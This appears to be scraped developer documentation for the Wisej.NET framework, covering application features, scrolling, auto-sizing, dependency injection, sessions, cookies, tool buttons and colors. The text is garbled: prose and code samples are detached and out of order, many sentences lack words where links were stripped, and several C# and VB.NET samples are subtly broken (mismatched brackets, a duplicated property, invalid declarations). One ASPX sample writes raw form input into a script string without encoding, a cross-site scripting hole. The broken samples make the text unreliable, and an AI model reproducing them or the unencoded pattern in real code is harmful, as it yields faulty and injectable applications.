The Application class allows your application to change both, the favicon and the title of the page, dynamically at any time through these properties:

  • Application.FavIcon. Changes the favicon using an Image object.

  • Application.FavIconSource. Changes the favicon using a source string: a URL, embedded resource, or theme icon.

  • Application.Title. Changes the title of the application in the browser.

Printing

You can print (print preview in the browser and then print), any page, window, dialog, or specific control. it's quite easy, simply use Application.Print() or Application.Print(control).

The first will print the entire surface of the browser.

The second allows you to specify a control to isolate and print. You can indicate a window or just a data grid, an image, a panel, etc...

Download

The Application class also allows your application to download a file to the users browser, or to download & open a file in the browser in any tab. There are two overloaded methods:

  • Application.Download(). Takes a file, a stream, or an image and an optional filename to send to the browser.

  • Application.DownloadAndOpen(). Takes the same arguments as Download() plus a string indicating the name of the target tab where the browser should open the file after downloading it.

Sounds

Play sounds on the user's browser using the Application.Play() method and overloads:

  • Application.Play(MessageBoxIcon). Plays a predefined sound that matches the MessageBoxIcon value.

  • Application.Play(url). Plays the sound in the specified .wav file. It can also be a data URL.

JavaScript

Use Application.Eval() and Application.Call(), or Application.EvalAsync() and Application.CallAsync() to invoke JavaScript code or functions in the global context.

See also:

JavaScript Loading

Application.LoadPackages() and Application.LoadPackagesAsync() loads a list of .js or .css files in the order they are passed to the method and in sequence. Each file is loaded only after the previous is loaded, allowing the loading of dependencies.

Each entry has the following properties:

  • Name. Unique name of the .js or .css file to load. It's used to cache the file on the client and loads it only once even if Application.LoadPackages() is called multiple times, or if a Widget class loads the same file.

  • Source. Is the URL from where to load the file.

LoadPackages() takes a callback method as the last optional argument with a boolean result parameter. Wisej.NET calls this method passing true when all the packages have been loaded successfully, or false if any package fails to load.

LoadPackagesAsync() is the same as LoadPackages() but instead of using a callback to notify the application, it's an awaitable method.

If you make changes to a file that you loaded using LoadPackages() or LoadPackagesAsync(), make sure to clear the browser cache so that the correct version of the file is used at runtime.

AutoScroll

Enables scrollbars on a container when the content overflows.

ScrollBars

Once AutoScroll is true, and the container is able to scroll its content, you can control which scrollbar is visible by setting the ScrollBars property:

  • Both (Default). Horizontal and Vertical Scrollbars are shown or hidden as needed.

  • None. Scrollbars are never displayed, it's similar to setting AutoScroll = false.

  • Horizontal. Only the horizontal scrollbar is shown if needed.

  • Vertical. Only the vertical scrollbar is shown if needed.

  • Hidden. The scrollbars are never shown but touch scrolling and wheel scrolling is supported. It's usually used for mobile apps when the scrollbars should not be visible.

When in design mode and AutoScroll is true, both scrollbars are always visible regardless of the ScrollBars property.

The browser will always scroll a widget into view when it receives the focus, regardless of the scrollbar settings.

Check whether the horizontal scrollbar using the HorizontalScroll.Visible property, and if the vertical scrollbar is visible using the VerticalScroll.Visible property.

Scroll Position

Regardless of the AutoScroll and ScrollBars properties, Wisej.NET applications can read or set the scroll position (forcing a scroll) of the container using the VerticalScroll.Value and HorizontalScroll.Value properties.

Scroll Area & Margins

The scrolling area is calculated to fit the content exactly. If you want to add some margin at the bottom or to the right of the content, use the

You can also set a minimum size for the viewport (the scrolling area) to make the container scroll the content regardless of the space occupied by the child controls.

Scroll Event

In the event handler_,_ you can check both the e.OldValue and e.NewValue to determine if the scrollbar was moved up or down, or the e.ScrollOrientation to determine if the Scroll event was fired by the horizontal or vertical scrollbar.

You can also use the e.Type enumeration to determine if the scroll position changed because of a Decrement scroll, an Increment, or if the scroll position was dragged to the First (top or left) position or to the Last (bottom or right) position.

Touch Scrolling

Wisej.NET fully supports touch scrolling and inertia scrolling. When the user swipes a touch device it will initiate the inertia scrolling which will keep scrolling and firing the Scroll event while it slows down.

If the user touches the scroll bar, the scrolling system will NOT process the touch and inertial scrolling and will instead move the scrollbar as the user drags the scrolling knob.

Right to Left Support

AutoSizing

Allow controls to adjust their size to fit their content.

The auto-sizing of the control is performed on the server using the content of the control, the current font, and the value of the layout properties Dock and Anchor.

Complex layouts, when a container auto-sizes based on its children and the children are either docked or anchored to the same container, may cause a circular layout arrangement. Wisej.NET is able to handle most of these cases, but it may cause problems or complex reflows under certain circumstances.

Labels

Labels are always created in the designer with AutoSize = true, but when you create a label by code, the AutoSize default value is false.

When AutoSize is true, the designer will not show the grab handles used to resize the control. When you change the content, the padding, or the font, the size of the label will grow to fit the text.

When the label is anchored or docked to the parent, the auto-sizing system grows the label horizontally and then vertically when the anchoring or docking limits the horizontal size.

Buttons

Buttons are always created in the designer with AutoSize = true, but when you create a button by code, the AutoSize default value is false.

Editors

Additionally, the height of the editors is set in the theme. Wisej.NET will use the height in the theme as the minimum height when calculating the auto-sizing dimensions.

Containers

Auto-sized containers behave differently from auto-sized labels, buttons, and editors because they calculate their preferred size by fitting all their children, which in turn may also have the AutoSize property set to true, and may be docked or anchored to their container, in a multi-level layout.

Containers expose the AutoSizeMode property to control whether the container can shrink below its original size. By default, the AutoSizeMode property is set to GrowOnly, which means that the container will grow to fit the content but will not shrink smaller than the initial size. When AutoSizeMode is set to GrowAndShrink the container will shrink to the minimum size necessary to fit the content.

A container in the designer may shrink to a size of 0,0 when using AutoSize=true and AutoSizeMode=GrowAndShrink. In this case, you can select the container using the document outline, or by dragging the pointer around it to "catch" the control.

Maximum and Minimum Size

All Wisej.NET controls expose the MaximumSize and MinimumSize properties. They control the maximum and minimum size of a control, regardless of the control's Dock or Anchor or AutoSize values. The minimum and maximum sizes are always enforced.

You can specify only the width or only the height in either the MaximumSize or MinimumSize properties. Leaving the height or width set to 0 indicates that it should be ignored.

Wisej.NET cannot properly auto-size a control when the AllowHtml property is set to true. It is impossible to measure HTML content on the server. However, you can use the Wisej.Base.TextUtils class to request a correct measurement from the browser:

The alternative asynchronous version, without the callback method, is:

Advanced

The auto-sizing system (when the AutoSize property is true) asks each auto-size control to calculate its preferred size and uses that size to calculate the auto-size.

To implement your own modified auto-sizing calculation, simply override the GetPreferredSize(proposedSize) method and return a new Size. In the override, you may also calculate your own proposed size and then pass it to the base implementation of GetPreferredSize().

Dependency Injection

Services and Dependency Injection in 3.1.

Starting with Wisej.NET 3.1, we added full support for services and dependency injection. Like everything else in Wisej.NET, it's a lean, performant, and flexible implementation.

Our DI implementation is supported in both .NET 4.8 and .NET Core.

Registering Services

You can register services at any point in the application. Services are always registered globally - if a service type is registered more than once, subsequent definitions replace the existing definition.

A good place to initialize services is in the static Program constructor, though you can register services anywhere in your code.

The code above registers two services:

  1. An _ILogger_ implementation. Wisej.NET creates a MyLogger instance once (Global scope) on first use. This service is never disposed, even if it implements _IDisposable_, because it's registered with Shared lifetime as a singleton instance used by all sessions.

  2. An _IFileSystem_ service that delegates creation to the _CreateFileSystemFactory_ method with Session scope. Wisej.NET invokes _CreateFileSystemFactory_ on first request per session. The service instance is automatically disposed if it implements _IDisposable_ when the session ends.

Using a Service

Your code can request a service implementation in three ways:

  • Using _Application.Services.GetService<T>()_

  • Using the _[Inject]_ attribute on a property

  • Adding a service argument to the constructor of another service implementation

_Application.GetService<T>()_ returns the service implementation for the requested T type if it exists, or null.

The _[Inject]_ attribute works by default only on top-level UI containers: _Page_, _Form_, and _Desktop_ classes. When you add the _[Inject]_ attribute to a property (protected, private or public), Wisej.NET automatically resolves the service and assigns it during object construction.

To use the _[Inject]_ attribute on any object, call _Application.Services.Inject(object)_.

Services created by Wisej.NET can receive instances of other services by declaring them in the constructor.

Service Injection

Wisej.NET supports Dependency Injection through constructors and property injection.

Property injection works automatically for all top-level containers (Form, Page, Desktop) and system-created services. Constructor injection works for service creation.

Example MyFileSystemImplementation with property injection:

Constructor injection example (works only for system-created services):

To inject properties programmatically:

If the object declares any _[Inject]_ properties, they receive service instances according to their lifetime.

Generic Service Type

You can register generic types as services (starting from Wisej.NET 3.5.4) and request concrete service instances at runtime.

When requesting a service, Wisej.NET constructs or retrieves the correct instance of the generic type.

Alternative IServiceProvider

The line Application.AddService<IServiceProvider>(app.Services); registers Microsoft's IServiceProvider with Wisej.NET and replaces our IServiceProvider.

After this, _Application.Services.AddService<T>()_ is not supported - all services must be registered using Microsoft's DI.

_Application.Services.GetService<T>()_ and _[Inject]_ use the alternative IServiceProvider to resolve services. The IServiceProvider instance is registered as a global singleton by default but can be registered per session using a different ServiceLifetime option.

Services Lifetime

We support these service lifetimes:

  • Shared: The service instance is a singleton used by all sessions and threads

  • Session: The service instance is created per session and disposed (if _IDisposable_) when the session ends. Note that no other DI container supports session lifetime

  • Thread: The service instance is created per thread (roughly corresponding to browser requests) and disposed (if _IDisposable_) when thread code ends

  • Transient: The service instance is created on each request. It's never disposed - disposal responsibility (if _IDisposable_) lies with the caller

The default lifetime when registering a service is always _Shared_.

Application Switches

Since 3.5.6

Label Self Size

LabelSelfSize (default: true)

The behavior of AutoSize in Label controls differs from other controls, especially in standard containers like Panel, Form, Page, or GroupBox. When a Label is right-anchored in these containers, AutoSize adjusts width while maintaining the left position. This ensures the Label expands/contracts rightward without moving its left edge.

When the Label is in a custom layout container (FlexLayoutPanel, FlowLayoutPanel, TableLayoutPanel), AutoSize behaves like other controls.

Corresponds to Label.SelfSizeDefault and Label.SelfSize.

DataGridView Auto Select

DataGridViewAutoSelectFirstRow (default: true)

By default, setting the current cell in a DataGridView selects the row, cell, or column based on SelectionMode. To prevent automatic selection when setting the current cell, set DataGridViewAutoSelectFirstRow to false.

Corresponds to DataGridView.AutoSelectFirstRowDefault and DataGridView.AutoSelectFirstRow.

DataGridView Auto Generate

DataGridViewAutoGenerateColumns (default: true)

The DataGridView automatically generates columns when DataSource is assigned in the designer, then sets AutoGenerateColumns to false after creating and serializing columns. Setting DataSource to null resets AutoGenerateColumns to true.

You cannot set AutoGenerateColumns in the designer as it's managed with the DataSource property. However, you can set its default initial value to false using the DataGridViewAutoGenerateColumns switch.

Corresponds to DataGridView.AutoGenerateColumnsDefault.

Form Auto Close

FormAutoCloseModalDialog (default: false)

In Wisej.NET, modal dialogs require calling Close() to close. Setting AutoCloseModalDialog to true enables automatic closure when Form.DialogResult is set to any value except DialogResult.None.

When AutoCloseModalDialog is true, the dialog closes automatically when:

  • User clicks AcceptButton or CancelButton with DialogResult set

  • Code sets the DialogResult property

This matches WinForms behavior but differs from Wisej.NET's default.

Corresponds to Form.AutoCloseModalDialogDefault and Form.AutoCloseModalDialog.

Setting AppContext Switches

🙂

Changes the client profile being displayed in design view. Changing the client profile updates the value of the associated with the client profile.

Enables the and applies the selected auto-numbering order.

Since 3.0 Shows the panel.

At design time use "Tab Order" button in the designer toolbar to enter "tabbing mode". It will give you three options: Manual, Horizontal and Vertical.

Drop the on the designer and all containers in the design surface will expose a new extender property named allowing you to set the order for each container.

In code you can create an instance of the Wisej.NET component or use an existing instance already created at design time. This component exposes a number of methods that will help your code update the tabbing order.

Wisej.NET has a unique and powerful responsive system that extends beyond CSS and media selectors used in plain HTML+CSS systems. The responsive system in Wisej.NET is based on two features: and .

The process is straightforward: Wisej.NET reads the client profiles in ClientProfiles.json, and from top to bottom matches the properties with current browser information. The first match becomes the and triggers the event.

When the ActiveProfile changes, all [ResponsiveProperties] update with their values associated to the Client Profile. For example, the Visible property of a button can be true for the "Default" Client Profile and false for the "Galaxy Tablet" profile, or the property of a Button or TabControl can be Both on Desktops and Icon on Phone devices.

Regular expression matching browser's string. Used to detect specific OS versions or browsers

Add localization labels as needed. See .

Create .resx files as needed using the approach above. See .

Use the class to retrieve localized values. Wisej.NET handles thread culture switching for client requests.

Setting the culture property in Default.json (default is "auto"). See .

Wisej.NET supports Right-to-Left and Right-to-Left-Layout (mirroring) quite extensively in most controls, in the themes, in the , and in the designer.

The property makes a control adapt its internal layout and alignment for right-to-left languages. The default value is Inherit, which works in most cases. However, an application can:

The property mirrors the horizontal position of a container's direct children. The default value is false.

When set to true, horizontal layout is mirrored only when resolves to Yes.

takes its value from:

The "rightToLeft" setting

The default value of is Inherit, meaning a control inherits the value from its parent. Top-level containers and parentless controls with RightToLeft set to Inherit take their value from .

From :

Configure polling Interval in the file for non-WebSocket clients

Controls can draw/paint on the client browser using HTML5 <canvas>. See the extension and example

If the client or server doesn't support WebSocket, Application.Update() has no effect since the connection doesn't exist. Wisej.NET provides alternative client updates through automatic polling. See and pollingInterval in .

If someone obtains a live session ID, they can access the session and breach the application. According to Microsoft, to prevent this in ASP.NET/MVC, especially with cookieless mode where session IDs appear in URLs.

Wisej.NET supports policies compatible with:

If you need a tool to generate your own SBOM, Microsoft has open-sourced their SBOM .

Read the in the Application.ServerVariables collection.

Detect changes in the client device profile using the Application.ResponsiveProfileChanged, see .

Manage the browser's cookies using Application.Cookies or Application.Browser.CookieStorage. See for more details.

All the that are supported by the Web server are available in Application.ServerVariables. Some well known and common server variables are also available as properties of the Application class:

Name
Description

The code above shows a static property that is backed by a [] field. When the field is null, it is initialized from the value stored in the application's session object. When it's not null, it is returned immediately. This pattern allows the creation of very fast session statics that only access the session lookup object once.

The most effective method for converting static instances (referred to as "shared" in VB.NET) to "session-static" instances is to utilize the method in conjunction with the wrapper. This approach not only ensures efficient session management but also accelerates the retrieval process of static instances.

Wisej.NET is indeed magic

connects the application to the browser's cookies.

As an alternative, you can use the object. It's not a collection and it doesn't contain any cookie information. It's a connection to the browser's storage and lets you read and write cookies directly from/to the browser:

CultureInfo is the primary culture defined in the browser matched to a instance

Storage
Description

Wisej.NET projects already include a default file at the root. That is the icon that the browser shows on the tab page and in the page's overview. However, being a file, once you create it it's difficult to change dynamically.

The Beep() uses Application.Play() with a predefined base64 URL.

Integrity. Is the optional hash code used to verify that the file hasn't been tampered with. See .

All Wisej.NET containers can scroll their content when the AutoScroll property is set to true (default is false - the content is truncated). When AutoScroll is true, Wisej.NET automatically shows or hides the horizontal or vertical scroll bars, unless the property has a value different than Both.

The Scroll event is one of the (fired only if there is a handler attached). When you handle the event, Wisej.NET will fire it every time the scroll position of either scroll bars (even if set to Hidden) changes.

When RightToLeft is true, the vertical scrollbar and the corner grip are automatically moved to the left. This is separate from the mirroring feature, which "flips" the layout of the child controls. See support.

Many Wisej.NET controls expose the AutoSize property, and when the control is also a (i.e.: Panel, FlowLayoutPanel, TableLayoutPanel, FlexLayoutPanel, UserControl, GroupBox, Form, etc) it also has the AutoSizeMode property.

Autosizing is not supported when AllowHtml is true since it's not possible to accurately measure HTML text on the server. See .

The auto-sizing rules are the same used by the control. However, the Button control also implements the AutoSizeMode property (like a container). By default, the AutoSizeMode property is set to GrowOnly, which means that the button will grow to fit the content but will not shrink smaller than the initial size. When AutoSizeMode is set to GrowAndShrink, the button will shrink to the minimum size necessary to fit the content.

All and expose the AutoSize property. However, only the editors (TextBox, DateTimePicker, ComboBox, etc) are created in the designer with the AutoSize property initialized to true. When you create these controls by code, the AutoSize property is always initialized to false.

You can mix AutoSize, MaximumSize, and to allow a container to grow to fit its content until it reaches the maximum size and then to show the scrollbars.

HTML Autosizing

If you need something more complex, we also support switching our with any third-party implementation, including Microsoft's DI, Autofac, or others.

To use a different service manager, register another object.

Some default behaviors in Wisej.NET are configurable with switches. These are the switches currently supported:

See Microsoft's documentation for various configuration approaches. Example code setup:

Responsive Properties
"tab order mode"
TabOrderManager
TabOrder
direction
TabOrderManager
Responsive Properties
ClientProfile
Application.ActiveProfile
ResponsiveProfileChanged
Display
How to: Create a Localized Resource File
How to: Create a Localized Resource File
ResourceManager
Configuration
Theme Builder
RightToLeft
RightToLeftLayout
RightToLeft
Application.RightToLeft
Configuration
Control.RightToLeft
Application.RightToLeft
Wikipedia
configuration
Real Time Web Applications
Configuration
very little can be done
Strict CSP
Google
DevExpress
generation tool
// save something in the session
Application.Session.MyName = "Wisej";
Application.Session.MyComplexDataObject  = new TestApp.Data.EmployeesList();

// retrieve session variables.
string name = Application.Session.MyName;
TestApp.Data.EmployeesList data = Application.Session.MyComplexDataObject
Option Strict Off

' save something in the session
Application.Session.MyName = "Wisej"
Application.Session.MyComplexDataObject = New TestApp.Data.EmployeesList()

' retrieve session variables.
Dim name = As String = Application.Session.MyName
Dim data As TestApp.Data.EmployeesList = Application.Session.MyComplexDataObject
Application.Session.value = "Hello";
Application.Session["my-complex-@var-name"] = 12
string value = Application.Session["value"]; 
Option Strict Off

Application.Session.value = "Hello"
Application.Session("my-complex-@var-name") = 12
Dim value as String = Application.Session("value") 

ApplicationStart

Fired after the application is started, after the Program.Main() method is executed. It is fired only once for each new session.

ApplicationExit

Fired when the session is expired and is being disposed. At this point, the session is not recoverable. This is similar to a desktop application being closed.

SessionTimeout

Fired when the session is about to time out due to user inactivity. You can suppress the default behavior setting e.Handled = true. Otherwise, Wisej.NET will show the built-in SessionTimeoutForm.

// Reset the thread static.
Application.ThreadBegin += (s, e) =>
{
	_test = null;
};
Application.ThreadEnd += (s, e) =>
{
	_test = null;
};

// Session-static variable.
public static String Test
{
	get
	{
		if (_test == null)
			_test = Application.Session.test;

		return _test;
	}
	set
	{
		value = value ?? string.Empty;
		_test = value;
		Application.Session.test = value;
	}
}

[ThreadStatic]
private static string _test;
// register an event filter
Application.AddEventFilter(new MyEventFilter());

// event filter class
class MyEventFilter : IEventFilter
{
	public bool PreFilterEvent(WisejEventArgs e)
	{
		var name = e.Type;
		var control = e.Target as Control;

		// block all KeyDown events to all TextBox controls.
		if (name == "keydown" && control is TextBox)
			return true;

    // let the default dispatching work
		return false;
	}
}
'' register an event filter
Application.AddEventFilter(New MyEventFilter())

'' event filter class
Class MyEventFilter
	Implements Wisej.Core.IEventFilter

	Public Function PreFilterEvent(e As WisejEventArgs) As Boolean Implements IEventFilter.PreFilterEvent

		Dim name As String = e.Type
		Dim control As Control = e.Target

		If name = "keydown" And TypeOf control Is TextBox Then
			Return True
		End If

		Return False

	End Function

End Class
// save a cookie
Application.Cookies.Add("another.cookie", "Wisej");

// read a cookie
var value = Application.Cookies["my-cookie"];
'' save a cookie
Application.Cookies.Add("another.cookie", "Wisej")

'' read a cookie
Dim value as String = Application.Cookies("my-cookie")
// request the value of a cookie and receive it in a callback
Application.Browser.CookieStorage.GetValue<string>("my-cookie", (value) => { 

   // do something with the string value

});

// read the value of a cookie and await for it
var value = await Application.Browser.CookieStorage<string>("my-cookie");
'' request the value of a cookie and receive it in a callback
Application.Browser.CookieStorage.GetValue(Of String)("my-cookie",
	Sub(value)
		'' do something with the string value
	End Sub)

' read the value of a cookie and await for it
Dim value As String = Await Application.Browser.CookieStorage.GetValueAsync(Of String)("my-cookie")
features: {
    worker: ("Worker" in window),
    webSocket: ("WebSocket" in window),
    arrayBuffer: ("ArrayBuffer" in window),
    notification: ("Notification" in window),
    geolocation: ("geolocation" in navigator),
    serviceWorker: ("serviceWorker" in navigator),
    speechSynthesis: (window.speechSynthesis) != null,
    fullScreen: this.platform.isFullScreenSupported(),
    browserStorage: this.platform.isBrowserStorageSupported(),
    speechRecognition: (window.speechRecognition || window.webkitSpeechRecognition || window.mozSpeechRecognition) != null
}
<% @Page Language="C#" %>

<!DOCTYPE html>

<html>
<head>
    <title>Wisej.ReceivePostData</title>
    <meta charset="utf-8" />
    <meta http-equiv="X-UA-Compatible" content="IE=Edge;IE=11" />
    <script src="wisej.wx"></script>
</head>
<body>

    <script>
        <%
            var name = Request.Form["Name"];
            var lastname = Request.Form["LastName"];
        %>
        Wisej.userData = {
            name: "<%=name%>",
            lastName: "<%=lastname%>"
        };
</script>

</body>
</html>
Application.LoadPackages(new[] {

	new Widget.Package(){
			Name="jquery",
			Source = "https://code.jquery.com/jquery-3.5.1.min.js",
			Integrity="sha256-9/aliU8dGd2tb6OSsuzixeV4y/faTqgFtohetphbbj0="
		}
	}, (result) => { 
	
	// result is true if all the packages have been
	// loaded successfully,
	
});
Application.LoadPackages({
		New Widget.Package With {
			.Name = "jquery",
			.Source = "https://code.jquery.com/jquery-3.5.1.min.js",
			.Integrity = "sha256-9/aliU8dGd2tb6OSsuzixeV4y/faTqgFtohetphbbj0="
		}
	}, Sub(result)

		   ' result Is true if all the packages have been
		   ' loaded successfully,

	   End Sub
)
Wisej.UserData
// Scroll the content up to 50 pixels.
// The final scroll amount is limited by the size of the view port (scroll area)
private void button1_Click(object sender, EventArgs e)
{
    this.VerticalScroll.Value = 50;
}
' Scroll the content up to 50 pixels.
' The final scroll amount is limited by the size of the view port (scroll area)
Private Sub Button1_Click(sender As Object, e As EventArgs)

    Me.VerticalScroll.Value = 50

End Sub
TextUtils.MeasureText("<big>H</big>ello!", allowHtml: true, this.Font, (size) =>
{
	this.button1.Size = size;
});
TextUtils.MeasureText("<big>H</big>ello!", True, Me.Font,
					  Sub(size As Size)
						  Me.button1.Size = size
					  End Sub)
this.button1.Size = 
await TextUtils.MeasureTextAsync("<big>H</big>ello!", allowHtml: true, this.Font);
Me.Button1.Size =
  Await TextUtils.MeasureTextAsync("<big>H</big>ello!", True, Me.Font)
static Program() {

  // Register an ILogger service implemented by MyLogger as a global shared singleton.
  Application.Services.AddService<ILogger, MyLogger>();
	
  // Register an IFileSystem service where the implementation is crated by the CreateFileSystemFactory method
  // and scope is set to be the session.
  Application.Services.AddService<IFileSystem>(CreateFileSystemFactory, ServiceLifetime.Session);
}

private static IFileSystem CreateFileSystemFactory(Type serviceType) {
  return new MyFileSystemImplementation();
}
public class MyFileSystemImplementation : IFileSystem {

  [Inject]
  private ILogger Logger {get; set;}
  
  [Inject(Required = true]
  protected IVolumeManager Logger {get; set;}
}
public class MyLoggerImplementationService : ILogger {
  public MyLoggerImplementationService(IFileSystem fileSystemService, ...) {
  
    // Wisej.NET resolves all the services in the constructor, if possible.
    // Unresolved services are simply set to null.
    
  }
}
public class MyFileSystemImplementation : IFileSystem {

  [Inject]
  private ILogger Logger {get; set;}
	
  // Notes: The property can be protected, private or public.
  // If the service doesn't exist it will be null, unless the attribute is set to be required:
  // [Inject(Required=true)] in this case it throws an exception if the service is not available.
}
Application.Services.AddService<IFileSystem, MyFileSystemImplementation>(ServiceLifetime.Session);
	
...

public class MyFileSystemImplementation : IFileSystem {
	
  public MyFileSystemImplementation(ILogger logger, more services...) {
	
    // This constructor receives all the services it declared, if available, or null.
		
    // Wisej.NET detects circular dependencies and throws an exception instead of crashing
    // the server with a StackOverflow.

  }
}
Application.Services.Inject(object);
// Register generic service
Application.Services.AddService(typeof(DBConnection<>));

// Request service
var dbTrucks = Application.Services.GetService<DBConnection<Truck>>);
var dbEmployees = Application.Services.GetService<DBConnection<Employee>>);
// ASP.NET Core startup
public class Startup {
  public static void Main(string[] args) {
		
    var builder = WebApplication.CreateBuilder(new WebApplicationOptions
    {
      Args = args,
      WebRootPath = "./"
    });
	
    var app = builder.Build();

    // Register Microsoft's IServiceProvider with Wisej.NET.
    Application.Services.AddService<IServiceProvider>(app.Services);
	
    app.UseWisej();
    app.UseFileServer();
    app.Run();
  }
}
// Program static contstructor
public static class Program {
    
    public void static Program() {
        AppContext.SetSwitch("LabelSelfSize", false);
    }
}
'' Program static constructor
Module Program
    
    Sub New()
        AppContext.SetSwitch("LabelSelfSize", False)
    End Sub

End Module
LogoCross Site Scripting (XSS) Software Attack | OWASP Foundation
LogoSession hijacking attack Software Attack | OWASP Foundation
LogoSession fixation Software Attack | OWASP Foundation
LogoSoftware Bill of Materials (SBOM) | CISACybersecurity and Infrastructure Security Agency CISA
❗
⚠️
user agent
ProgressCircle
CustomPainting
Visual Studio Code
.NET SDK
C# Dev Kit Extension
server variables
Responsive Properties
server variables
ThreadStatic
Application.GetInstance()
SessionReference
Application.Browser.CookieStorage
Application.Browser.CookieStorage
CultureInfo
favicon.ico
VB.NET extension
JavaScript
JavaScript Object Model
https://developer.mozilla.org/en-US/docs/Web/HTML/Element/script
Right To Left
editor
list controls
AutoScroll
IServiceProvider
IServiceProvider
AppContext
System.AppContext
Cookies
ScrollBars
container
HTML Autosizing
Label
lazy events

The stored data is saved across browser sessions.

The stored data is cleared when the page session ends. A page session lasts as long as the browser is open, and survives over page reloads and restores.

Cookies are saved with the browser and are cleared depending on their expiration, scope, etc.

Embedded Tools

Add small buttons inside a control adding custom functionality.

Several controls in Wisej.NET support the Tools property, which allows an application to "insert" custom tool buttons inside the control. It's an extremely efficient way to build flexible and modern controls in a web application.

Tool buttons can be located to the left or right of the target control, can be enabled or disabled, can automatically hide when the control loses the focus, can be always hidden, can be toggled on or off, and can have their own tooltip.

  • Image and ImageSource indicate the icon of the tool.

  • Name is the name that your app can use to identify which tool has been clicked when handling the ToolClick event.

  • ToolTipText shows a tooltip when the pointer is over the tool.

  • AutoHide hides the tool when the target control is not focused.

  • Enabled can enable or disable the tool.

  • Position indicates where inside the control to locate the tool.

  • Pushed sets the theme state of the tool to "pushed".

  • Visible can show or hide the tool.

When a control has the Tools property it also implements the ToolClick event. Some controls implement the additional ToolPosition property allowing the application to move the tools to the Top, Bottom, Left (vertical layout), or Right (vertical layout).

Supported Controls

These controls support the Tools system in the predefined position, inside the control.

  • TextBox

  • TagTextBox

  • MaskedTextBox

  • DateTimePicker

  • ComboBox

  • ListBox

  • TreeView

Panels support the Tools system only when the header is visible, and automatically change the orientation of the tools when the panel is collapsed to the left or right side:

  • Panel

  • FlowLayoutPanel

  • TableLayoutPanel

  • FlexLayoutPanel

  • AccordionPanel

These controls support the Tools system at one of the four positions (Top, Left, Right, Bottom) indicated by the ToolPosition property:

  • DataGridView

  • ListView

  • MonthCalendar

Forms support the Tools system in their caption, next to the standard buttons.

Styling

Tools are styled independently in the theme. You can, however, style the container of the tools and the child tool icons depending on where they are used.

The container of the tools uses the "toolcontainer" appearance and its child buttons use the "toolcontainer/button" appearance. In addition to the default states, the control that implements the tools adds these states, allowing the theme to adapt the tool container to the type of control:

Control
State

Form

"caption"

Panels

"panel"

Editors

"editor"

ListBox

"listbox"

DataGridView

"datagrid"

MonthCalendar

"calendar"

ListView

"listview"

TreeView

"treeview"

When the toolcontainer is positioned to the Top or Bottom it_ _also has the state "horizontal", when it's positioned to the Left or Right, it has the state "vertical".

ToolClick Event

All the controls that support the Tools system, also implement the ToolClick event. When you handle the ToolClick event you can determine which tool was clicked by testing the Name property.

private void panel1_ToolClick(object sender, ToolClickEventArgs e)
{
	switch (e.Tool.Name)
	{
		case "Add":
			break;

		case "Delete":
			break;
	}
}
Private Sub Panel1_ToolClick(sender As Object, e As ToolClickEventArgs) _
						Handles ComboBox1.ToolClick

	Select Case e.Tool.Name

		Case "Add"

		Case "Delete"

	End Select

End Sub

If you add the tools programmatically, you can also detect the clicked tool by comparing the e.Tool reference.

AutoScaling

Adjusts the size of a container and all its children when the font size changes.

All Wisej.NET container classes support thee modes of auto-scaling through the AutoScaleMode property:

  • None. No autoscaling is performed.

  • Font. The container and all its children are automatically scaled when the font changes.

  • Inherit. Inherits the AutoScaleMode from the parent.

Autoscaling works by calculating the difference in size between the previous font and the new font. It is applied to all child controls size and location, and each control may scale its own internal components. For example, the DataGridView autoscales the width of its columns.

This feature allows an application to resize a page, window, or just a single control, to fit the content to a different font.

Colors & Fonts

Color and font concepts.

All controls in Wisej.NET have at least these three properties:

  • BackColor. Sets the background color of the control. Returns the control's background color or the inherited color.

  • ForeColor. Sets the text color of the control. Returns the control's text color or the inherited text color.

  • Font. Sets the font of the control. Returns the control's font or the inherited font.

Some controls may have additional color properties, the names always end with "Color", and may hide the base BackColor or ForeColor properties. Each control (its corresponding widget) renders these properties on the client.

The font you use must be installed on the server and it must be supported by the browser. If it's not a standard web font, then you need to add the font to the theme or a global CSS.

Examples of color and font assignments:

// browser's "green" color.
this.BackColor = Color.Green;
// theme's "activeCaption" color.
this.BackColor = SystemColors.ActiveCaption;
// theme's "activeCaptionText" color.
this.ForeColor = Color.FromKnownColor(KnownColor.ActiveCaptionText);
// theme's "buttonText" color.
this.ForeColor = Color.FromName("@buttonText");
// theme's "buttonText" color.
this.ForeColor = Application.Theme.GetColor("buttonText");
// theme's backgroundColor value under the "button" appearance.
this.BackColor = Application.Theme.GetColor("button", "backgroundColor");
// green color at 50% transparency.
this.BackColor = Color.FromArgb(255/2, 0, 255, 0);
// green color from HTML string.
this.BackColor = ColorTranslator.FromHtml("#00FF00");

// theme's "defaultBold" font, style and size are ignored (leading @)
this.Font = new Font("@defaultBold", FontStyle.Regular);
// theme's "defaultBold" font, style and size are overridden (no @)
this.Font = new Font("defaultBold", 15, FontStyle.Bold);
' Browser's "green" color.
Me.BackColor = Color.Green
' Theme's "activeCaption" color.
Me.BackColor = SystemColors.ActiveCaption
' Theme's "activeCaptionText" color.
Me.ForeColor = Color.FromKnownColor(KnownColor.ActiveCaptionText)
' Theme's "buttonText" color.
Me.ForeColor = Color.FromName("@buttonText")
' Theme's "buttonText" color.
Me.ForeColor = Application.Theme.GetColor("buttonText")
' Theme's backgroundColor value under the "button" appearance.
Me.BackColor = Application.Theme.GetColor("button", "backgroundColor")
' Green color at 50% transparency.
Me.BackColor = Color.FromArgb(255/2, 0, 255, 0);
' Green color from HTML string.
Me.BackColor = ColorTranslator.FromHtml("#00FF00")

' Theme's "defaultBold" font, style and size are ignored (leading @)
Me.Font = New Font("@defaultBold", FontStyle.Regular)
' Theme's "defaultBold" font, style and size are overridden (no @)
Me.Font = New Font("defaultBold", 15, FontStyle.Bold)

Ambient Properties

  • BackColor

  • ForeColor

  • Font

  • Visible

  • Enabled

In some cases, this behavior may be confusing, especially if the application sets a property and then expects to read back the same value. For example, if you set the Visible property to true but the parent is false, reading it back will return false.

Custom Fonts

You can use any font you like with Wisej. However, if the font is not known by the browser you need to add it to your theme - either create a custom theme, or use a mixin, or add it to a global .css file.

When adding a font to the browser, also make sure that the same font is installed on the servers and development machines or Wisej.NET will calculate the size of AutoSize controls incorrectly.

Designer

All Color properties support the built-in color picker dialog. It allows you to:

  • Pick any color from the color palette, or move the picker anywhere on the screen to sample the color directly from the display.

  • Select any standard web color.

  • Select any color defined by the current theme.

All Font properties support the built-in font picker dialog. It allows you to:

  • Pick a known standard web font, change the style and the size. You can pick multiple fallback fonts.

  • Pick one of the fonts defined in the current theme. Once you pick a theme font, you can switch to the first tab to change the style and size.

HTML Colors

